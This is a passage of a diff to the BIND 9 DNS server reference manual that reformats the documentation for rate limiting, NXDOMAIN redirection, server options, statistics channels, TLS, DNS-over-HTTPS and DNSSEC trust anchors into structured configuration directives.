+      as the other limits, because single DNS clients often send bursts of
+      legitimate requests. For example, the receipt of a single mail message
+      can prompt requests from an SMTP server for NS, PTR, A, and AAAA records
+      as the incoming SMTP/TCP/IP connection is considered. The SMTP server
+      can need additional NS, A, AAAA, MX, TXT, and SPF records as it
+      considers the SMTP ``Mail From`` command. Web browsers often repeatedly
+      resolve the same names that are duplicated in HTML <IMG> tags in a page.
+      :any:`all-per-second` is similar to the rate limiting offered by firewalls
+      but is often inferior. Attacks that justify ignoring the contents of DNS
+      responses are likely to be attacks on the DNS server itself. They
+      usually should be discarded before the DNS server spends resources making
+      TCP connections or parsing DNS requests, but that rate limiting must be
+      done before the DNS server sees the requests.
+
+
+   .. namedconf:statement:: max-table-size
+      :tags: server
+      :short: Sets the maximum size of the table used to track requests and rate-limit responses.
+
+   .. namedconf:statement:: min-table-size
+      :tags: query
+      :short: Sets the minimum size of the table used to track requests and rate-limit responses.
+
+      The maximum size of the table used to track requests and rate-limit
+      responses is set with :any:`max-table-size`. Each entry in the table is
+      between 40 and 80 bytes. The table needs approximately as many entries
+      as the number of requests received per second. The default is 20,000. To
+      reduce the cold start of growing the table, :any:`min-table-size` (default 500)
+      can set the minimum table size. Enable :any:`rate-limit` category
+      logging to monitor expansions of the table and inform choices for the
+      initial and maximum table size.
+
+   .. namedconf:statement:: log-only
+      :tags: logging, query
+      :short: Tests rate-limiting parameters without actually dropping any requests.
+
+      Use ``log-only yes`` to test rate-limiting parameters without actually
+      dropping any requests.
+
+   Responses dropped by rate limits are included in the ``RateDropped`` and
+   ``QryDropped`` statistics. Responses that are truncated by rate limits are
+   included in ``RateSlipped`` and ``RespTruncated``.
 
 NXDOMAIN Redirection
 ^^^^^^^^^^^^^^^^^^^^
 
-``named`` supports NXDOMAIN redirection via two methods:
+:iscman:`named` supports NXDOMAIN redirection via two methods:
 
--  Redirect zone (:ref:`zone_statement_grammar`)
+-  :any:`Redirect zone <type redirect>`
 -  Redirect namespace
 
-With either method, when ``named`` gets an NXDOMAIN response it examines a
+With either method, when :iscman:`named` gets an NXDOMAIN response it examines a
 separate namespace to see if the NXDOMAIN response should be replaced
 with an alternative response.
 
@@ -4413,218 +5442,199 @@ to replace the NXDOMAIN is held in a single zone which is not part of
 the normal namespace. All the redirect information is contained in the
 zone; there are no delegations.
 
-With a redirect namespace (``option { nxdomain-redirect <suffix> };``),
-the data used to replace the NXDOMAIN is part of the normal namespace
-and is looked up by appending the specified suffix to the original
-query name. This roughly doubles the cache required to process
-NXDOMAIN responses, as both the original NXDOMAIN response and the
-replacement data (or an NXDOMAIN indicating that there is no
-replacement) must be stored.
+.. namedconf:statement:: nxdomain-redirect
+   :tags: query
+   :short: Appends the specified suffix to the original query name, when replacing an NXDOMAIN with a redirect namespace.
+
+   With a redirect namespace (``option { nxdomain-redirect <suffix> };``),
+   the data used to replace the NXDOMAIN is part of the normal namespace
+   and is looked up by appending the specified suffix to the original
+   query name. This roughly doubles the cache required to process
+   NXDOMAIN responses, as both the original NXDOMAIN response and the
+   replacement data (or an NXDOMAIN indicating that there is no
+   replacement) must be stored.
 
 If both a redirect zone and a redirect namespace are configured, the
 redirect zone is tried first.
 
-.. _server_statement_grammar:
-
-``server`` Statement Grammar
+``server`` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: server
+   :tags: server
+   :short: Defines characteristics to be associated with a remote name server.
 
-.. include:: ../misc/server.grammar.rst
-
-.. _server_statement_definition_and_usage:
-
-``server`` Statement Definition and Usage
+``server`` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``server`` statement defines characteristics to be associated with a
+The :namedconf:ref:`server` statement defines characteristics to be associated with a
 remote name server. If a prefix length is specified, then a range of
 servers is covered. Only the most specific server clause applies,
-regardless of the order in ``named.conf``.
-
-The ``server`` statement can occur at the top level of the configuration
-file or inside a ``view`` statement. If a ``view`` statement contains
-one or more ``server`` statements, only those apply to the view and any
-top-level ones are ignored. If a view contains no ``server`` statements,
-any top-level ``server`` statements are used as defaults.
-
-If a remote server is giving out bad data, marking it
-as bogus prevents further queries to it. The default value of
-``bogus`` is ``no``.
-
-The ``provide-ixfr`` clause determines whether the local server, acting
-as primary, responds with an incremental zone transfer when the given
-remote server, a secondary, requests it. If set to ``yes``, incremental
-transfer is provided whenever possible. If set to ``no``, all
-transfers to the remote server are non-incremental. If not set, the
-value of the ``provide-ixfr`` option in the view or global options block
-is used as a default.
-
-The ``request-ixfr`` clause determines whether the local server, acting
-as a secondary, requests incremental zone transfers from the given
-remote server, a primary. If not set, the value of the ``request-ixfr``
-option in the view or global options block is used as a default. It may
-also be set in the zone block; if set there, it overrides the
-global or view setting for that zone.
-
-IXFR requests to servers that do not support IXFR automatically
-fall back to AXFR. Therefore, there is no need to manually list which
-servers support IXFR and which ones do not; the global default of
-``yes`` should always work. The purpose of the ``provide-ixfr`` and
-``request-ixfr`` clauses is to make it possible to disable the use of
-IXFR even when both primary and secondary claim to support it: for example, if
-one of the servers is buggy and crashes or corrupts data when IXFR is
-used.
+regardless of the order in :iscman:`named.conf`.
 
-The ``request-expire`` clause determines whether the local server, when
-acting as a secondary, requests the EDNS EXPIRE value. The EDNS EXPIRE
-value indicates the remaining time before the zone data expires and
-needs to be refreshed. This is used when a secondary server transfers
-a zone from another secondary server; when transferring from the
-primary, the expiration timer is set from the EXPIRE field of the SOA
-record instead. The default is ``yes``.
-
-The ``edns`` clause determines whether the local server attempts to
-use EDNS when communicating with the remote server. The default is
-``yes``.
-
-The ``edns-udp-size`` option sets the EDNS UDP size that is advertised
-by ``named`` when querying the remote server. Valid values are 512 to
-4096 bytes; values outside this range are silently adjusted to the
-nearest value within it. This option is useful when
-advertising a different value to this server than the value advertised
-globally: for example, when there is a firewall at the remote site that
-is blocking large replies. Note: currently, this sets a single UDP size
-for all packets sent to the server; ``named`` does not deviate from this
-value. This differs from the behavior of ``edns-udp-size`` in
-``options`` or ``view`` statements, where it specifies a maximum value.
-The ``server`` statement behavior may be brought into conformance with
-the ``options``/``view`` behavior in future releases.
-
-The ``edns-version`` option sets the maximum EDNS VERSION that is
-sent to the server(s) by the resolver. The actual EDNS version sent is
-still subject to normal EDNS version-negotiation rules (see :rfc:`6891`),
-the maximum EDNS version supported by the server, and any other
-heuristics that indicate that a lower version should be sent. This
-option is intended to be used when a remote server reacts badly to a
-given EDNS version or higher; it should be set to the highest version
-the remote server is known to support. Valid values are 0 to 255; higher
-values are silently adjusted. This option is not needed until
-higher EDNS versions than 0 are in use.
-
-The ``max-udp-size`` option sets the maximum EDNS UDP message size
-``named`` sends. Valid values are 512 to 4096 bytes; values outside
-this range are silently adjusted. This option is useful when
-there is a firewall that is blocking large replies from
-``named``.
-
-The ``padding`` option adds EDNS Padding options to outgoing messages,
-increasing the packet size to a multiple of the specified block size.
-Valid block sizes range from 0 (the default, which disables the use of
-EDNS Padding) to 512 bytes. Larger values are reduced to 512, with a
-logged warning. Note: this option is not currently compatible with no
-TSIG or SIG(0), as the EDNS OPT record containing the padding would have
-to be added to the packet after it had already been signed.
-
-The ``tcp-only`` option sets the transport protocol to TCP. The default
-is to use the UDP transport and to fallback on TCP only when a truncated
-response is received.
-
-The ``tcp-keepalive`` option adds EDNS TCP keepalive to messages sent
-over TCP. Note that currently idle timeouts in responses are ignored.
-
-The server supports two zone transfer methods. The first,
-``one-answer``, uses one DNS message per resource record transferred.
-``many-answers`` packs as many resource records as possible into a single
-message, which is more efficient.
-It is possible to specify which method to use for a server via the
-``transfer-format`` option; if not set there, the
-``transfer-format`` specified by the ``options`` statement is used.
-
-``transfers`` is used to limit the number of concurrent inbound zone
-transfers from the specified server. If no ``transfers`` clause is
-specified, the limit is set according to the ``transfers-per-ns``
-option.
-
-The ``keys`` clause identifies a ``key_id`` defined by the ``key``
-statement, to be used for transaction security (see :ref:`tsig`)
-when talking to the remote server. When a request is sent to the remote
-server, a request signature is generated using the key specified
-here and appended to the message. A request originating from the remote
-server is not required to be signed by this key.
-
-Only a single key per server is currently supported.
-
-The ``transfer-source`` and ``transfer-source-v6`` clauses specify the
-IPv4 and IPv6 source address, respectively, to be used for zone transfer with the
-remote server. For an IPv4 remote server, only
-``transfer-source`` can be specified. Similarly, for an IPv6 remote
-server, only ``transfer-source-v6`` can be specified. For more details,
-see the description of ``transfer-source`` and ``transfer-source-v6`` in
-:ref:`zone_transfers`.
-
-The ``notify-source`` and ``notify-source-v6`` clauses specify the IPv4
-and IPv6 source address, respectively, to be used for notify messages sent to remote
-servers. For an IPv4 remote server, only ``notify-source``
-can be specified. Similarly, for an IPv6 remote server, only
-``notify-source-v6`` can be specified.
-
-The ``query-source`` and ``query-source-v6`` clauses specify the IPv4
-and IPv6 source address, respectively, to be used for queries sent to remote servers.
-For an IPv4 remote server, only ``query-source`` can be
-specified. Similarly, for an IPv6 remote server, only
-``query-source-v6`` can be specified.
-
-The ``request-nsid`` clause determines whether the local server adds
-an NSID EDNS option to requests sent to the server. This overrides
-``request-nsid`` set at the view or option level.
-
-The ``send-cookie`` clause determines whether the local server adds
-a COOKIE EDNS option to requests sent to the server. This overrides
-``send-cookie`` set at the view or option level. The ``named`` server
-may determine that COOKIE is not supported by the remote server and not
-add a COOKIE EDNS option to requests.
-
-.. _statschannels:
-
-``statistics-channels`` Statement Grammar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The :rndcconf:ref:`server` statement can occur at the top level of the configuration
+file or inside a :any:`view` statement. If a :any:`view` statement contains
+one or more :namedconf:ref:`server` statements, only those apply to the view and any
+top-level ones are ignored. If a view contains no :namedconf:ref:`server` statements,
+any top-level :namedconf:ref:`server` statements are used as defaults.
+
+
+.. namedconf:statement:: bogus
+   :tags: server
+   :short: Allows a remote server to be ignored.
+
+   If a remote server is giving out bad data, marking it
+   as bogus prevents further queries to it. The default value of
+   :any:`bogus` is ``no``.
+
+.. namedconf:statement:: edns
+   :tags: server
+   :short: Controls the use of the EDNS0 (:rfc:`2671`) feature.
+
+   The :any:`edns` clause determines whether the local server attempts to
+   use EDNS when communicating with the remote server. The default is
+   ``yes``.
 
-.. include:: ../misc/statistics-channels.grammar.rst
+.. namedconf:statement:: edns-version
+   :tags: server
+   :short: Sets the maximum EDNS VERSION that is sent to the server(s) by the resolver.
+
+   The :any:`edns-version` option sets the maximum EDNS VERSION that is
+   sent to the server(s) by the resolver. The actual EDNS version sent is
+   still subject to normal EDNS version-negotiation rules (see :rfc:`6891`),
+   the maximum EDNS version supported by the server, and any other
+   heuristics that indicate that a lower version should be sent. This
+   option is intended to be used when a remote server reacts badly to a
+   given EDNS version or higher; it should be set to the highest version
+   the remote server is known to support. Valid values are 0 to 255; higher
+   values are silently adjusted. This option is not needed until
+   higher EDNS versions than 0 are in use.
+
+.. namedconf:statement:: padding
+   :tags: server
+   :short: Adds EDNS Padding options to outgoing messages to increase the packet size.
+
+   The option adds EDNS Padding options to outgoing messages,
+   increasing the packet size to a multiple of the specified block size.
+   Valid block sizes range from 0 (the default, which disables the use of
+   EDNS Padding) to 512 bytes. Larger values are reduced to 512, with a
+   logged warning. Note: this option is not currently compatible with no
+   TSIG or SIG(0), as the EDNS OPT record containing the padding would have
+   to be added to the packet after it had already been signed.
+
+.. namedconf:statement:: tcp-only
+   :tags: server
+   :short: Sets the transport protocol to TCP.
+
+   The option sets the transport protocol to TCP. The default
+   is to use the UDP transport and to fallback on TCP only when a truncated
+   response is received.
+
+.. namedconf:statement:: tcp-keepalive
+   :tags: server
+   :short: Adds EDNS TCP keepalive to messages sent over TCP.
+
+   The option adds EDNS TCP keepalive to messages sent
+   over TCP. Note that currently idle timeouts in responses are ignored.
+
+.. namedconf:statement:: transfers
+   :tags: server
+   :short: Limits the number of concurrent inbound zone transfers from a server.
+
+   :any:`transfers` is used to limit the number of concurrent inbound zone
+   transfers from the specified server. If no :any:`transfers` clause is
+   specified, the limit is set according to the :any:`transfers-per-ns`
+   option.
 
-.. _statistics_channels:
+.. namedconf:statement:: keys
+   :tags: server, security
+   :short: Specifies one or more :any:`server_key` s to be used with a remote server.
+   :suppress_grammar:
+
+   .. warning::
+      Not to be confused with :any:`keys` in :any:`dnssec-policy` specification.
+      Although statements with the same name exist in both contexts, they refer
+      to fundamentally incompatible concepts.
+
+   In the context of a :namedconf:ref:`server` block, the option identifies a
+   :term:`server_key` defined by the :namedconf:ref:`key` statement, to be used for
+   transaction security (see :ref:`tsig`)
+   when talking to the remote server. When a request is sent to the remote
+   server, a request signature is generated using the key specified
+   here and appended to the message. A request originating from the remote
+   server is not required to be signed by this key.
+
+   Only a single key per server is currently supported.
+
+It is possible to override the following values defined in :namedconf:ref:`view`
+and :namedconf:ref:`options` blocks:
+
+   - :namedconf:ref:`edns-udp-size`
+   - :namedconf:ref:`max-udp-size`
+   - :namedconf:ref:`notify-source-v6`
+   - :namedconf:ref:`notify-source`
+   - :namedconf:ref:`provide-ixfr`
+   - :namedconf:ref:`query-source-v6`
+   - :namedconf:ref:`query-source`
+   - :namedconf:ref:`request-expire`
+   - :namedconf:ref:`request-ixfr`
+   - :namedconf:ref:`request-nsid`
+   - :namedconf:ref:`require-cookie`
+   - :namedconf:ref:`send-cookie`
+   - :namedconf:ref:`transfer-format`
+   - :namedconf:ref:`transfer-source-v6`
+   - :namedconf:ref:`transfer-source`
+
+
+:any:`statistics-channels` Block Grammar
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: statistics-channels
+   :tags: logging
+   :short: Specifies the communication channels to be used by system administrators to access statistics information on the name server.
 
-``statistics-channels`` Statement Definition and Usage
+:any:`statistics-channels` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``statistics-channels`` statement declares communication channels to
+The :any:`statistics-channels` statement declares communication channels to
 be used by system administrators to get access to statistics information
 on the name server.
 
 This statement is intended to be flexible to support multiple communication
 protocols in the future, but currently only HTTP access is supported. It
 requires that BIND 9 be compiled with libxml2 and/or json-c (also known
-as libjson0); the ``statistics-channels`` statement is still accepted
+as libjson0); the :any:`statistics-channels` statement is still accepted
 even if it is built without the library, but any HTTP access fails
 with an error.
 
-An ``inet`` control channel is a TCP socket listening at the specified
-``ip_port`` on the specified ``ip_addr``, which can be an IPv4 or IPv6
-address. An ``ip_addr`` of ``*`` (asterisk) is interpreted as the IPv4
+An :any:`inet` control channel is a TCP socket listening at the specified
+:term:`port` on the specified :term:`ip_address`, which can be an IPv4 or IPv6
+address. An :term:`ip_address` of ``*`` (asterisk) is interpreted as the IPv4
 wildcard address; connections are accepted on any of the system's
 IPv4 addresses. To listen on the IPv6 wildcard address, use an
-``ip_addr`` of ``::``.
+:term:`ip_address` of ``::``.
 
 If no port is specified, port 80 is used for HTTP channels. The asterisk
-(``*``) cannot be used for ``ip_port``.
+(``*``) cannot be used for :term:`port`.
 
 Attempts to open a statistics channel are restricted by the
 optional ``allow`` clause. Connections to the statistics channel are
-permitted based on the ``address_match_list``. If no ``allow`` clause is
-present, ``named`` accepts connection attempts from any address; since
-the statistics may contain sensitive internal information, it is highly
-recommended to restrict the source of connection requests appropriately.
-
-If no ``statistics-channels`` statement is present, ``named`` does not
+permitted based on the :term:`address_match_list`. If no ``allow`` clause is
+present, :iscman:`named` accepts connection attempts from any address. Since
+the statistics may contain sensitive internal information, the source of
+connection requests must be restricted appropriately so that only
+trusted parties can access the statistics channel.
+
+Gathering data exposed by the statistics channel locks various subsystems in
+:iscman:`named`, which could slow down query processing if statistics data is
+requested too often.
+
+An issue in the statistics channel would be considered a security issue
+only if it could be exploited by unprivileged users circumventing the access
+control list. In other words, any issue in the statistics channel that could be
+used to access information unavailable otherwise, or to crash :iscman:`named`, is
+not considered a security issue if it can be avoided through the
+use of a secure configuration.
+
+If no :any:`statistics-channels` statement is present, :iscman:`named` does not
 open any communication channels.
 
 The statistics are available in various formats and views, depending on
@@ -4642,7 +5652,6 @@ reconfiguration time), http://127.0.0.1:8888/xml/v3/server (server and
 resolver statistics), http://127.0.0.1:8888/xml/v3/zones (zone
 statistics), http://127.0.0.1:8888/xml/v3/net (network status and socket
 statistics), http://127.0.0.1:8888/xml/v3/mem (memory manager
-statistics), http://127.0.0.1:8888/xml/v3/tasks (task manager
 statistics), and http://127.0.0.1:8888/xml/v3/traffic (traffic sizes).
 
 The full set of statistics can also be read in JSON format at
@@ -4652,72 +5661,256 @@ reconfiguration time), http://127.0.0.1:8888/json/v1/server (server and
 resolver statistics), http://127.0.0.1:8888/json/v1/zones (zone
 statistics), http://127.0.0.1:8888/json/v1/net (network status and
 socket statistics), http://127.0.0.1:8888/json/v1/mem (memory manager
-statistics), http://127.0.0.1:8888/json/v1/tasks (task manager
 statistics), and http://127.0.0.1:8888/json/v1/traffic (traffic sizes).
 
-.. _tls:
-
-``tls`` Statement Grammar
+:any:`tls` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: tls
+   :tags: security
+   :short: Configures a TLS connection.
 
-.. include:: ../misc/tls.grammar.rst
-
-``tls`` Statement Definition and Usage
+:any:`tls` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``tls`` statement is used to configure a TLS connection; this
-configuration can then be referenced by a ``listen-on`` or ``listen-on-v6``
-statement to cause ``named`` to listen for incoming requests via TLS,
-or in the ``primaries`` statement for a zone of type ``secondary`` to
+The :any:`tls` statement is used to configure a TLS connection; this
+configuration can then be referenced by a :any:`listen-on` or :any:`listen-on-v6`
+statement to cause :iscman:`named` to listen for incoming requests via TLS,
+or in the :any:`primaries` statement for a zone of :any:`type secondary` to
 cause zone transfer requests to be sent via TLS.
 
-``tls`` can only be set at the top level of ``named.conf``.
+:any:`tls` can only be set at the top level of :iscman:`named.conf`.
+
+The following options can be specified in a :any:`tls` statement:
 
-The following options can be specified in a ``tls`` statement:
+.. namedconf:statement:: key-file
+   :tags: server, security
+   :short: Specifies the path to a file containing the private TLS key for a connection.
 
-  ``key-file``
     Path to a file containing the private TLS key to be used for
     the connection.
 
-  ``cert-file``
+.. namedconf:statement:: cert-file
+   :tags: server, security
+   :short: Specifies the path to a file containing the TLS certificate for a connection.
+
     Path to a file containing the TLS certificate to be used for
     the connection.
 
-  ``ca-file``
-    Path to a file containing trusted TLS certificates.
+.. namedconf:statement:: ca-file
+   :tags: server, security
+   :short: Specifies the path to a file containing TLS certificates for trusted CA authorities, used to verify remote peer certificates.
+
+    Path to a file containing trusted CA authorities' TLS
+    certificates used to verify remote peer certificates. Specifying
+    this option enables remote peer certificates' verification. For
+    incoming connections, specifying this option makes BIND require
+    a valid TLS certificate from a client. In the case of outgoing
+    connections, if :any:`remote-hostname` is not specified, then the remote
+    server IP address is used instead.
+
+.. namedconf:statement:: dhparam-file
+   :tags: server, security
+   :short: Specifies the path to a file containing Diffie-Hellman parameters, for enabling cipher suites.
+
+    Path to a file containing Diffie-Hellman parameters,
+    which is needed to enable the cipher suites depending on the
+    Diffie-Hellman ephemeral key exchange (DHE). Having these parameters
+    specified is essential for enabling perfect forward secrecy capable
+    ciphers in TLSv1.2.
+
+.. namedconf:statement:: remote-hostname
+   :tags: security
+   :short: Specifies the expected hostname in the TLS certificate of the remote server.
+
+    The expected hostname in the TLS certificate of the
+    remote server. This option enables a remote server certificate
+    verification. If :any:`ca-file` is not specified, then the
+    platform-specific certificates store is used for
+    verification. This option is used when connecting to a remote peer
+    only and, thus, is ignored when :any:`tls` statements are referenced
+    by :any:`listen-on` or :any:`listen-on-v6` statements.
+
+.. namedconf:statement:: protocols
+   :tags: security
+   :short: Specifies the allowed versions of the TLS protocol.
+
+    Allowed versions of the TLS protocol. TLS version 1.2 and higher are
+    supported, depending on the cryptographic library in use. Multiple
+    versions might be specified (e.g.
+    ``protocols { TLSv1.2; TLSv1.3; };``).
+
+.. namedconf:statement:: ciphers
+   :tags: security
+   :short: Specifies a list of allowed ciphers.
+
+    Cipher list which defines allowed ciphers, such as
+    ``HIGH:!aNULL:!MD5:!SHA1:!SHA256:!SHA384``. The string must be
+    formed according to the rules specified in the OpenSSL documentation
+    (see https://www.openssl.org/docs/man1.1.1/man1/ciphers.html
+    for details).
+
+.. namedconf:statement:: prefer-server-ciphers
+   :tags: server, security
+   :short: Specifies that server ciphers should be preferred over client ones.
+
+    Specifies that server ciphers should be preferred over client ones.
+
+.. namedconf:statement:: session-tickets
+   :tags: security
+   :short: Enables or disables session resumption through TLS session tickets.
+
+    Enables or disables session resumption through TLS session tickets,
+    as defined in RFC5077. Disabling the stateless session tickets
+    might be required in the cases when forward secrecy is needed,
+    or the TLS certificate and key pair is planned to be used across
+    multiple BIND instances.
+
+.. warning::
+
+   TLS configuration is subject to change and incompatible changes might
+   be introduced in the future. Users of TLS are encouraged to carefully
+   read release notes when upgrading.
+
+The options described above are used to control different aspects of
+TLS functioning. Thus, most of them have no well-defined default
+values, as these depend on the cryptographic library version in use
+and system-wide cryptographic policy. On the other hand, by specifying
+the needed options one could have a uniform configuration deployable
+across a range of platforms.
+
+An example of privacy-oriented, perfect forward secrecy enabled
+configuration can be found below. It can be used as a
+starting point.
+
+::
+
+   tls local-tls {
+       key-file "/path/to/key.pem";
+       cert-file "/path/to/fullchain_cert.pem";
+       dhparam-file "/path/to/dhparam.pem";
+       ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+       prefer-server-ciphers yes;
+       session-tickets no;
+   };
+
+A Diffie-Hellman parameters file can be generated using e.g. OpenSSL,
+like follows:
+
+::
+
+   openssl dhparam -out /path/to/dhparam.pem <3072_or_4096>
 
-  ``hostname``
-    The hostname associated with the certificate.
+Ensure that it gets generated on a machine with enough entropy from
+external sources (e.g. the computer you work on should be fine,
+the remote virtual machine or server might be not). These files do
+not contain any sensitive data and can be shared if required.
 
 There are two built-in TLS connection configurations: ``ephemeral``,
-uses a temporary key and certificate created for the current ``named``
+uses a temporary key and certificate created for the current :iscman:`named`
 session only, and ``none``, which can be used when setting up an HTTP
 listener with no encryption.
 
-.. _http:
-
-``http`` Statement Grammar
+BIND supports the following TLS authentication mechanisms described in
+the RFC 9103, Section 9.3: Opportunistic TLS, Strict TLS, and Mutual
+TLS.
+
+.. _opportunistic-tls:
+
+Opportunistic TLS provides encryption for data but does not provide
+any authentication for the channel. This mode is the default one and
+it is used whenever :any:`remote-hostname` and :any:`ca-file` options are not set
+in :any:`tls` statements in use. RFC 9103 allows optional fallback to
+clear-text DNS in the cases when TLS is not available. Still, BIND
+intentionally does not support that in order to protect from
+unexpected data leaks due to misconfiguration. Both BIND and its
+complementary tools either successfully establish a secure channel via
+TLS when instructed to do so or fail to establish a connection
+otherwise.
+
+.. _strict-tls:
+
+Strict TLS provides server authentication via a pre-configured
+hostname for outgoing connections. This mechanism offers both channel
+confidentiality and channel authentication (of the server). In order
+to achieve Strict TLS, one needs to use :any:`remote-hostname` and, optionally,
+:any:`ca-file` options in the :any:`tls` statements used for establishing
+outgoing connections (e.g. the ones used to download zone from
+primaries via TLS). Providing any of the mentioned options will enable
+server authentication. If :any:`remote-hostname` is provided but :any:`ca-file` is
+missing, then the platform-specific certificate authority certificates
+are used for authentication. The set roughly corresponds to the one
+used by WEB-browsers to authenticate HTTPS hosts. On the other hand,
+if :any:`ca-file` is provided but :any:`remote-hostname` is missing, then the
+remote side's IP address is used instead.
+
+.. _mutual-tls:
+
+Mutual TLS is an extension to Strict TLS that provides channel
+confidentiality and mutual channel authentication. It builds up upon
+the clients offering client certificates when establishing connections
+and them doing the server authentication as in the case of Strict
+TLS. The server verifies the provided client certificates and accepts
+the TLS connection in case of successful verification or rejects it
+otherwise. In order to instruct the server to require and verify
+client TLS certificates, one needs to specify the :any:`ca-file` option
+in :any:`tls` configurations used to configure server listeners. The
+provided file must contain certificate authority certificates used to
+issue client certificates. In most cases, one should build one's own
+TLS certificate authority specifically to issue client certificates
+and include the certificate authority certificate into the file.
+
+For authenticating zone transfers over TLS, Mutual TLS might be
+considered a standalone solution, while Strict TLS paired with
+TSIG-based authentication and, optionally, IP-based access lists,
+might be considered acceptable for most practical purposes. Mutual TLS
+has the advantage of not requiring TSIG and thus, not having security
+issues related to shared cryptographic secrets.
+
+:any:`http` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: http
+   :tags: server, query
+   :short: Configures HTTP endpoints on which to listen for DNS-over-HTTPS (DoH) queries.
 
-.. include:: ../misc/http.grammar.rst
-
-``http`` Statement Definition and Usage
+:any:`http` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``http`` statement is used to configure HTTP endpoints on which
+The :any:`http` statement is used to configure HTTP endpoints on which
 to listen for DNS-over-HTTPS (DoH) queries. This configuration can
-then be referenced by a ``listen-on`` or ``listen-on-v6`` statement to
-cause ``named`` to listen for incoming requests over HTTPS.
+then be referenced by a :any:`listen-on` or :any:`listen-on-v6` statement to
+cause :iscman:`named` to listen for incoming requests over HTTPS.
+
+:any:`http` can only be set at the top level of :iscman:`named.conf`.
+
+The following options can be specified in an :any:`http` statement:
 
-``http`` can only be set at the top level of ``named.conf``.
+.. namedconf:statement:: endpoints
+   :tags: server, query
+   :short: Specifies a list of HTTP query paths on which to listen.
 
-The following options can be specified in an ``http`` statement:
+    A list of HTTP query paths on which to listen. This is the portion
+    of an :rfc:`3986`-compliant URI following the hostname; it must be
+    an absolute path, beginning with "/". The default value
+    is ``"/dns-query"``, if omitted.
 
-  ``endpoints``
-    A list of HTTP query paths on which to listen. A typical path
-    is "/dns-query".
+.. namedconf:statement:: listener-clients
+   :tags: server, query
+   :short: Specifies a per-listener quota for active connections.
 
-for example, the following configuration enables DNS-over-HTTPS queries on
+    The option specifies a per-listener quota for active connections.
+
+.. namedconf:statement:: streams-per-connection
+   :tags: server, query
+   :short: Specifies the maximum number of concurrent HTTP/2 streams over an HTTP/2 connection.
+
+    The option specifies the hard limit on the number of concurrent
+    HTTP/2 streams over an HTTP/2 connection.
+
+Any of the options above could be omitted. In such a case, a global value
+specified in the :namedconf:ref:`options` statement is used
+(see :any:`http-listener-clients`, :any:`http-streams-per-connection`.
+
+For example, the following configuration enables DNS-over-HTTPS queries on
 all local addresses:
 
 ::
@@ -4733,19 +5926,16 @@ all local addresses:
    };
 
 
-.. _trust_anchors:
-
-``trust-anchors`` Statement Grammar
+:any:`trust-anchors` Block Grammar
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: trust-anchors
+   :tags: dnssec
+   :short: Defines :ref:`DNSSEC` trust anchors.
 
-.. include:: ../misc/trust-anchors.grammar.rst
-
-.. _trust-anchors:
-
-``trust-anchors`` Statement Definition and Usage
+:any:`trust-anchors` Block Definition and Usage
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``trust-anchors`` statement defines DNSSEC trust anchors. DNSSEC is
+The :any:`trust-anchors` statement defines DNSSEC trust anchors. DNSSEC is
 described in :ref:`DNSSEC`.
 
 A trust anchor is defined when the public key or public key digest for a non-authoritative
@@ -4756,20 +5946,20 @@ has been validated and proven secure.
 
 The resolver attempts DNSSEC validation on all DNS data in subdomains of
 configured trust anchors. Validation below specified names can be
-temporarily disabled by using ``rndc nta``, or permanently disabled with
-the ``validate-except`` option.
+temporarily disabled by using :option:`rndc nta`, or permanently disabled with
+the :any:`validate-except` option.
 
-All keys listed in ``trust-anchors``, and their corresponding zones, are
+All keys listed in :any:`trust-anchors`, and their corresponding zones, are
 deemed to exist regardless of what parent zones say. Only keys
 configured as trust anchors are used to validate the DNSKEY RRset for
 the corresponding name. The parent's DS RRset is not used.
 
-``trust-anchors`` may be set at the top level of ``named.conf`` or within
+:any:`trust-anchors` may be set at the top level of :iscman:`named.conf` or within
 a view. If it is set in both places, the configurations are additive;
 keys defined at the top level are inherited by all views, but keys
 defined in a view are only used within that view.
 
-The ``trust-anchors`` statement can contain
+The :any:`trust-anchors` statement can contain
 multiple trust-anchor entries, each consisting of a
 domain name, followed by an "anchor type" keyword indicating
 the trust anchor's format, followed by the key or digest data.
@@ -4795,7 +5985,7 @@ anchor types are immutable, while keys configured with
 ``initial-key`` or ``initial-ds``
 can be kept up-to-date automatically, without intervention from the resolver operator.
 (``static-key`` keys are identical to keys configured using the
-deprecated ``trusted-keys`` statement.)
+deprecated :any:`trusted-keys` statement.)
 
 Suppose, for example, that a zone's key-signing key was compromised, and
 the zone owner had to revoke and replace the key. A resolver which had
@@ -4804,15 +5994,15 @@ configured using ``static-key`` or
 ``static-ds`` would be unable to validate
 this zone any longer; it would reply with a SERVFAIL response
 code.  This would continue until the resolver operator had
-updated the ``trust-anchors`` statement with
+updated the :any:`trust-anchors` statement with
 the new key.
 
 If, however, the trust anchor had been configured using
 ``initial-key`` or ``initial-ds``
 instead, the zone owner could add a "stand-by" key to
-the zone in advance. ``named`` would store
+the zone in advance. :iscman:`named` would store
 the stand-by key, and when the original key was revoked,
-``named`` would be able to transition smoothly
+:iscman:`named` would be able to transition smoothly
 to the new key.  It would also recognize that the old key had
 been revoked and cease using that key to validate answers,
 minimizing the damage that the compromised key could do.
@@ -4822,7 +6012,7 @@ up-to-date.
 Whereas ``static-key`` and
 ``static-ds`` trust anchors continue
 to be trusted until they are removed from
-``named.conf``, an
+:iscman:`named.conf`, an
 ``initial-key`` or ``initial-ds``
 is only trusted *once*: for as long as it
 takes to load the managed key database and start the
